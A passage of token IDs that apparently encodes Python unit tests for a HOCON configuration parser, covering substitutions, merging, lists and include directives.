29896,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
11117,
29874,
2396,
29871,
29896,
29913,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
2378,
29918,
517,
29918,
8977,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
518,
29896,
29892,
29906,
29962,
13,
9651,
921,
353,
426,
29916,
29901,
518,
29941,
29892,
29946,
12258,
13,
9651,
921,
353,
426,
29891,
29901,
518,
29945,
29892,
29953,
12258,
13,
9651,
921,
353,
426,
29920,
29901,
6435,
29916,
930,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29916,
1159,
1275,
518,
29941,
29892,
29871,
29946,
29962,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29891,
1159,
1275,
518,
29945,
29892,
29871,
29953,
29962,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29920,
1159,
1275,
11117,
29916,
2396,
518,
29941,
29892,
29871,
29946,
1402,
525,
29891,
2396,
518,
29945,
29892,
29871,
29953,
12258,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
4812,
8194,
29918,
8977,
29918,
262,
29918,
2378,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
426,
29916,
29901,
518,
29941,
29892,
29946,
12258,
13,
9651,
921,
353,
518,
5303,
29916,
1118,
29871,
29906,
29892,
29871,
29941,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
313,
650,
29892,
1023,
29892,
2211,
29897,
353,
2295,
29889,
657,
703,
29916,
1159,
13,
4706,
4974,
697,
1275,
11117,
29916,
2396,
518,
29941,
29892,
29871,
29946,
12258,
13,
4706,
4974,
1023,
1275,
29871,
29906,
13,
4706,
4974,
2211,
1275,
29871,
29941,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
2084,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
426,
29891,
29901,
426,
29920,
29901,
29871,
29896,
930,
13,
9651,
921,
353,
6435,
29916,
29889,
29891,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29891,
1159,
1275,
11117,
29920,
2396,
29871,
29896,
29913,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29920,
1159,
1275,
29871,
29896,
13,
4706,
4974,
731,
29898,
2917,
29889,
657,
703,
29916,
2564,
8149,
3101,
1275,
731,
18959,
29891,
742,
525,
29920,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
2084,
29918,
11458,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
426,
29891,
29901,
426,
29891,
29901,
29871,
29896,
930,
13,
9651,
921,
353,
6435,
29916,
29889,
29891,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
29889,
29891,
1159,
1275,
29871,
29896,
13,
4706,
4974,
731,
29898,
2917,
29889,
657,
703,
29916,
2564,
8149,
3101,
1275,
731,
18959,
29891,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
276,
2764,
344,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
921,
353,
6435,
29916,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
276,
2764,
344,
29906,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
921,
353,
6435,
29916,
29913,
13,
18884,
921,
353,
6435,
29916,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
14634,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
8741,
515,
29832,
6007,
1580,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
7953,
584,
426,
263,
584,
426,
274,
584,
29871,
29896,
500,
500,
13,
9651,
7953,
584,
6435,
5431,
29889,
29874,
29913,
13,
9651,
7953,
584,
426,
263,
584,
29871,
29906,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
877,
5431,
1495,
1275,
11117,
29874,
2396,
29871,
29906,
29892,
525,
29883,
2396,
29871,
29896,
29913,
13,
4706,
4974,
731,
29898,
2917,
29889,
8149,
3101,
1275,
731,
18959,
5431,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
1228,
2671,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
8741,
515,
29832,
6007,
1580,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2594,
584,
426,
13,
795,
7953,
584,
29871,
29946,
29906,
29892,
13,
795,
12741,
584,
6435,
1646,
29889,
5431,
29913,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
1646,
1159,
1275,
11117,
5431,
2396,
29871,
29946,
29906,
29892,
525,
27975,
2396,
29871,
29946,
29906,
29913,
13,
4706,
4974,
731,
29898,
2917,
29889,
8149,
3101,
1275,
731,
18959,
1646,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
1228,
2671,
29918,
1050,
3192,
29918,
262,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
8741,
515,
29832,
6007,
1580,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2594,
584,
426,
13,
18884,
7953,
584,
29871,
29946,
29906,
29892,
13,
18884,
12741,
584,
6435,
1646,
29889,
5431,
29913,
13,
9651,
500,
13,
9651,
2594,
584,
426,
7953,
584,
29871,
29946,
29941,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
1646,
1159,
1275,
11117,
5431,
2396,
29871,
29946,
29941,
29892,
525,
27975,
2396,
29871,
29946,
29941,
29913,
13,
4706,
4974,
731,
29898,
2917,
29889,
8149,
3101,
1275,
731,
18959,
1646,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
1228,
2671,
29918,
1050,
3192,
29918,
262,
29918,
6149,
950,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
8741,
515,
29832,
6007,
1580,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
849,
2594,
29889,
29874,
881,
1095,
701,
408,
29871,
29946,
13,
9651,
2594,
584,
426,
263,
584,
6435,
5431,
29889,
29881,
1118,
289,
584,
29871,
29896,
500,
13,
9651,
2594,
29889,
29890,
353,
29871,
29941,
13,
9651,
849,
7953,
29889,
29883,
881,
1095,
701,
408,
29871,
29941,
13,
9651,
7953,
584,
426,
274,
584,
6435,
1646,
29889,
29890,
1118,
270,
584,
29871,
29906,
500,
13,
9651,
7953,
29889,
29881,
353,
29871,
29946,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
1646,
1159,
1275,
11117,
29874,
2396,
29871,
29946,
29892,
525,
29890,
2396,
29871,
29941,
29913,
13,
4706,
4974,
2295,
29889,
657,
703,
5431,
1159,
1275,
11117,
29883,
2396,
29871,
29941,
29892,
525,
29881,
2396,
29871,
29946,
29913,
13,
4706,
4974,
731,
29898,
2917,
29889,
8149,
3101,
1275,
731,
18959,
1646,
742,
525,
5431,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
1807,
29918,
3670,
29918,
17685,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
8741,
515,
29832,
6007,
1580,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
6435,
29973,
29874,
29913,
5431,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29874,
1159,
1275,
525,
5431,
29915,
13,
4706,
4974,
731,
29898,
2917,
29889,
8149,
3101,
1275,
731,
18959,
29874,
11287,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
8977,
29918,
276,
2764,
344,
29918,
1595,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
921,
353,
6435,
29916,
29913,
426,
29891,
29901,
29871,
29896,
29913,
13,
18884,
921,
353,
6435,
29916,
29889,
29891,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
3318,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
426,
29874,
29901,
29871,
29896,
29892,
289,
29901,
29871,
29906,
29913,
13,
9651,
921,
353,
6435,
29916,
29913,
426,
29883,
29901,
29871,
29941,
29913,
13,
9651,
921,
353,
426,
29920,
29901,
29871,
29900,
29913,
6435,
29916,
29913,
13,
9651,
921,
353,
426,
29891,
29901,
448,
29896,
29913,
6435,
29916,
29913,
426,
29881,
29901,
29871,
29946,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29892,
525,
29883,
2396,
29871,
29941,
29892,
525,
29920,
2396,
29871,
29900,
29892,
525,
29891,
2396,
448,
29896,
29892,
525,
29881,
2396,
29871,
29946,
29913,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
5145,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
263,
29889,
29890,
353,
29871,
29941,
13,
18884,
263,
29889,
29890,
353,
6435,
29874,
29889,
29890,
29913,
13,
18884,
263,
29889,
29890,
353,
6435,
29874,
29889,
29890,
29913,
13,
18884,
263,
29889,
29883,
353,
518,
29896,
29892,
29906,
29962,
13,
18884,
263,
29889,
29883,
353,
6435,
29874,
29889,
29883,
29913,
13,
18884,
263,
29889,
29881,
353,
426,
5431,
29901,
2594,
29913,
13,
18884,
263,
29889,
29881,
353,
6435,
29874,
29889,
29881,
29913,
13,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29874,
1159,
1275,
11117,
29890,
2396,
29871,
29941,
29892,
525,
29883,
2396,
518,
29896,
29892,
29871,
29906,
1402,
525,
29881,
2396,
11117,
5431,
2396,
525,
1646,
29915,
930,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
9910,
29918,
1220,
29918,
1807,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
21185,
320,
13,
18884,
2115,
320,
13,
18884,
3017,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
518,
29916,
29889,
17010,
580,
363,
921,
297,
2295,
1839,
9435,
29918,
7576,
13359,
5451,
580,
565,
921,
29889,
17010,
877,
25710,
2804,
525,
2033,
1275,
6024,
22032,
742,
525,
1645,
742,
525,
4691,
2033,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
9910,
29918,
1220,
29918,
1761,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
518,
22032,
29962,
320,
13,
18884,
518,
1645,
29962,
320,
13,
18884,
518,
4691,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
1839,
9435,
29918,
7576,
2033,
1275,
6024,
22032,
742,
525,
1645,
742,
525,
4691,
2033,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
9910,
29918,
1220,
29918,
8977,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
426,
29874,
29901,
22032,
29913,
320,
13,
18884,
426,
29890,
29901,
1645,
29913,
320,
13,
18884,
426,
29883,
29901,
4691,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
1839,
9435,
29918,
7576,
2033,
1275,
11117,
29874,
2396,
525,
22032,
742,
525,
29890,
2396,
525,
1645,
742,
525,
29883,
2396,
525,
4691,
10827,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
4219,
29918,
3166,
29918,
27736,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
4219,
703,
1445,
29901,
27736,
29914,
10467,
29889,
5527,
1159,
13,
4706,
4974,
2295,
29889,
657,
877,
1272,
29899,
5064,
29899,
19206,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29953,
13,
4706,
4974,
2295,
29889,
657,
877,
16961,
29899,
29926,
6925,
29899,
25707,
1495,
1275,
6024,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
742,
17411,
29990,
29885,
29896,
29953,
29887,
2033,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
4219,
29918,
3166,
29918,
20965,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
4219,
703,
991,
597,
17639,
987,
2271,
1159,
13,
4706,
4974,
2295,
1275,
5159,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
8977,
29918,
3166,
29918,
27736,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1445,
703,
27736,
29914,
11576,
1338,
29889,
5527,
1159,
13,
4706,
4974,
2295,
29889,
657,
877,
4117,
29889,
5397,
2671,
29889,
20834,
1495,
1275,
525,
1004,
340,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
26169,
29889,
29885,
4774,
29889,
29882,
1078,
29889,
5397,
2671,
29889,
20834,
1495,
1275,
525,
1004,
340,
29915,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
23705,
29918,
8977,
29918,
3166,
29918,
27736,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1445,
703,
27736,
29914,
497,
29918,
11576,
1338,
29889,
5527,
1159,
13,
4706,
4974,
2295,
29889,
657,
877,
11576,
1338,
29889,
5397,
2671,
29889,
20834,
1495,
1275,
525,
1004,
340,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
11576,
1338,
29889,
29885,
4774,
29889,
29882,
1078,
29889,
5397,
2671,
29889,
20834,
1495,
1275,
525,
1004,
340,
29915,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
23705,
29918,
1761,
29918,
3166,
29918,
27736,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1445,
703,
27736,
29914,
497,
29918,
28408,
29889,
5527,
1159,
13,
4706,
22306,
353,
2295,
29889,
657,
29918,
1761,
877,
28408,
1495,
13,
4706,
4974,
7431,
29898,
28408,
29897,
1275,
29871,
29896,
29900,
13,
13,
4706,
2983,
353,
426,
1646,
1839,
978,
2033,
363,
2594,
297,
22306,
29913,
13,
4706,
4072,
353,
426,
1646,
1839,
1853,
2033,
363,
2594,
297,
22306,
565,
525,
1853,
29915,
297,
2594,
29913,
13,
4706,
1596,
29898,
8768,
29892,
525,
3552,
3552,
877,
29897,
13,
4706,
4974,
12801,
5813,
16299,
297,
2983,
13,
4706,
4974,
525,
29950,
12392,
20333,
29879,
25448,
26935,
29915,
297,
2983,
13,
4706,
4974,
525,
23853,
29895,
29915,
297,
4072,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
974,
29918,
8977,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
518,
13,
18884,
426,
29874,
29901,
29871,
29896,
29892,
289,
29901,
29871,
29906,
1118,
13,
18884,
426,
29874,
29901,
29871,
29941,
29892,
274,
29901,
29871,
29946,
1118,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
518,
13,
9651,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
1118,
13,
9651,
11117,
29874,
2396,
29871,
29941,
29892,
525,
29883,
2396,
29871,
29946,
29913,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
974,
29918,
21513,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
518,
13,
18884,
518,
29896,
29892,
29871,
29906,
29962,
13,
18884,
518,
29941,
29892,
29871,
29946,
29962,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
518,
13,
9651,
518,
29896,
29892,
29871,
29906,
1402,
13,
9651,
518,
29941,
29892,
29871,
29946,
29962,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
974,
29918,
8977,
29879,
29918,
2541,
29918,
14634,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
353,
426,
29888,
29901,
29871,
29946,
29913,
13,
9651,
263,
29901,
518,
13,
18884,
6435,
29890,
29913,
426,
29874,
29901,
29871,
29896,
29892,
289,
29901,
29871,
29906,
1118,
13,
18884,
426,
29874,
29901,
29871,
29941,
29892,
274,
29901,
29871,
29946,
29913,
6435,
29890,
1118,
13,
18884,
426,
29874,
29901,
29871,
29941,
29913,
6435,
29890,
29913,
426,
29883,
29901,
29871,
29953,
1118,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
518,
13,
9651,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29892,
525,
29888,
2396,
29871,
29946,
1118,
13,
9651,
11117,
29874,
2396,
29871,
29941,
29892,
525,
29883,
2396,
29871,
29946,
29892,
525,
29888,
2396,
29871,
29946,
1118,
13,
9651,
11117,
29874,
2396,
29871,
29941,
29892,
525,
29883,
2396,
29871,
29953,
29892,
525,
29888,
2396,
29871,
29946,
29913,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
974,
29918,
21513,
29918,
2541,
29918,
14634,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
353,
518,
29945,
29892,
29871,
29953,
29962,
13,
9651,
263,
29901,
518,
13,
18884,
6435,
29890,
29913,
518,
29896,
29892,
29871,
29906,
29962,
13,
18884,
518,
29941,
29892,
29871,
29946,
29962,
6435,
29890,
29913,
13,
18884,
518,
29896,
29892,
29871,
29906,
29962,
6435,
29890,
29913,
518,
29955,
29892,
29871,
29947,
29962,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
518,
13,
9651,
518,
29945,
29892,
29871,
29953,
29892,
29871,
29896,
29892,
29871,
29906,
1402,
13,
9651,
518,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
1402,
13,
9651,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29962,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
20965,
29918,
465,
10194,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
16676,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
9435,
29918,
7576,
518,
22032,
29962,
1495,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
9435,
29918,
7576,
6571,
426,
22032,
29901,
29871,
29896,
29913,
1495,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
16676,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
353,
426,
29888,
29901,
29871,
29945,
29913,
13,
18884,
3619,
29918,
7576,
6435,
29874,
29913,
426,
22032,
29901,
29871,
29896,
29913,
13,
18884,
5124,
1159,
13,
13,
1678,
822,
1243,
29918,
20965,
29918,
8977,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
16676,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
353,
426,
13,
462,
1678,
285,
29901,
29871,
29945,
13,
462,
1678,
330,
13,
18884,
500,
13,
18884,
5124,
1159,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
16676,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
353,
426,
29887,
29913,
1495,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
1445,
29898,
1311,
1125,
13,
4706,
411,
5694,
1445,
29889,
22175,
5776,
1971,
653,
2283,
877,
29893,
1495,
408,
285,
24581,
29901,
13,
9651,
285,
24581,
29889,
3539,
877,
29961,
29896,
29892,
29871,
29906,
29962,
1495,
13,
9651,
285,
24581,
29889,
23126,
580,
13,
13,
9651,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
518,
13,
462,
1678,
3160,
29850,
7050,
29918,
1445,
5038,
13,
18884,
4514,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29896,
1839,
29874,
2033,
1275,
518,
29896,
29892,
29871,
29906,
29962,
13,
13,
9651,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
518,
13,
462,
1678,
3160,
934,
703,
29912,
7050,
29918,
1445,
27195,
13,
18884,
4514,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29906,
1839,
29874,
2033,
1275,
518,
29896,
29892,
29871,
29906,
29962,
13,
13,
9651,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
518,
13,
462,
1678,
3160,
3142,
703,
1445,
597,
29912,
7050,
29918,
1445,
27195,
13,
18884,
4514,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29941,
1839,
29874,
2033,
1275,
518,
29896,
29892,
29871,
29906,
29962,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
27259,
29918,
1445,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
518,
13,
18884,
3160,
376,
29881,
11770,
29889,
3945,
29908,
13,
462,
29941,
13,
462,
29946,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29896,
1839,
29874,
2033,
1275,
518,
29941,
29892,
29871,
29946,
29962,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
12403,
29918,
1445,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
426,
13,
18884,
3160,
3734,
703,
27736,
29914,
11576,
1338,
29889,
29881,
29914,
4117,
29889,
5527,
1159,
13,
18884,
260,
353,
29871,
29906,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
3806,
353,
426,
13,
9651,
525,
29874,
2396,
426,
13,
18884,
525,
5397,
2671,
2396,
426,
13,
462,
1678,
525,
20834,
2396,
525,
1004,
340,
29915,
13,
18884,
2981,
13,
18884,
525,
29873,
2396,
29871,
29906,
13,
9651,
500,
13,
4706,
500,
13,
4706,
4974,
3806,
1275,
2295,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
426,
13,
18884,
3160,
3734,
29898,
1445,
703,
27736,
29914,
11576,
1338,
29889,
29881,
29914,
4117,
29889,
5527,
5783,
13,
18884,
260,
353,
29871,
29906,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
3806,
1275,
2295,
29906,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
27259,
29918,
12403,
29918,
1445,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
5971,
2392,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
518,
13,
462,
1678,
3160,
3734,
703,
29881,
11770,
29889,
3945,
1159,
13,
462,
268,
29941,
13,
462,
268,
29946,
13,
18884,
4514,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
17863,
29918,
5113,
29918,
2084,
29898,
1311,
1125,
13,
4706,
2224,
353,
12782,
11726,
29889,
17863,
29918,
5113,
29918,
2084,
703,
2272,
1251,
535,
29901,
2917,
29918,
16680,
29889,
2272,
1159,
13,
4706,
4974,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
17863,
29918,
5113,
29918,
2084,
29918,
4830,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
12782,
11726,
29889,
17863,
29918,
5113,
29918,
2084,
703,
2272,
1251,
535,
29914,
2917,
29918,
16680,
29889,
2272,
1159,
13,
13,
1678,
822,
1243,
29918,
17863,
29918,
5113,
29918,
2084,
29918,
27259,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
17518,
2392,
1125,
13,
9651,
12782,
11726,
29889,
17863,
29918,
5113,
29918,
2084,
703,
5464,
29918,
735,
9696,
29918,
5453,
29901,
5431,
29889,
2272,
1159,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
5113,
29918,
1445,
29898,
1311,
29892,
1601,
446,
1478,
905,
1125,
13,
4706,
5694,
29918,
3972,
353,
5694,
1445,
29889,
11256,
29881,
7382,
580,
13,
4706,
1018,
29901,
13,
9651,
3883,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7382,
29918,
3972,
29892,
525,
1357,
29918,
5453,
1495,
13,
9651,
3883,
29918,
5527,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5453,
29918,
3972,
29892,
525,
1357,
29889,
5527,
1495,
13,
9651,
396,
1653,
278,
3883,
4138,
322,
5181,
2066,
313,
1649,
2344,
1649,
322,
2295,
29897,
13,
9651,
2897,
29889,
11256,
3972,
29898,
5453,
29918,
3972,
29897,
13,
9651,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
5453,
29918,
3972,
29892,
525,
1649,
2344,
26914,
2272,
5477,
525,
29874,
2824,
5358,
580,
13,
9651,
411,
1722,
29898,
5453,
29918,
5527,
29892,
525,
29893,
1495,
408,
285,
24581,
29901,
13,
18884,
285,
24581,
29889,
3539,
703,
29912,
29883,
29901,
29871,
29941,
27195,
13,
9651,
396,
788,
278,
5694,
4516,
304,
10876,
29889,
2084,
577,
393,
525,
1357,
29918,
5453,
29915,
508,
367,
10943,
13,
9651,
1601,
446,
1478,
905,
29889,
9675,
2084,
29918,
1457,
14081,
29898,
7382,
29918,
3972,
29897,
13,
9651,
396,
2254,
278,
2295,
322,
3160,
278,
916,
2295,
934,
515,
525,
1357,
29918,
5453,
29915,
13,
9651,
2295,
353,
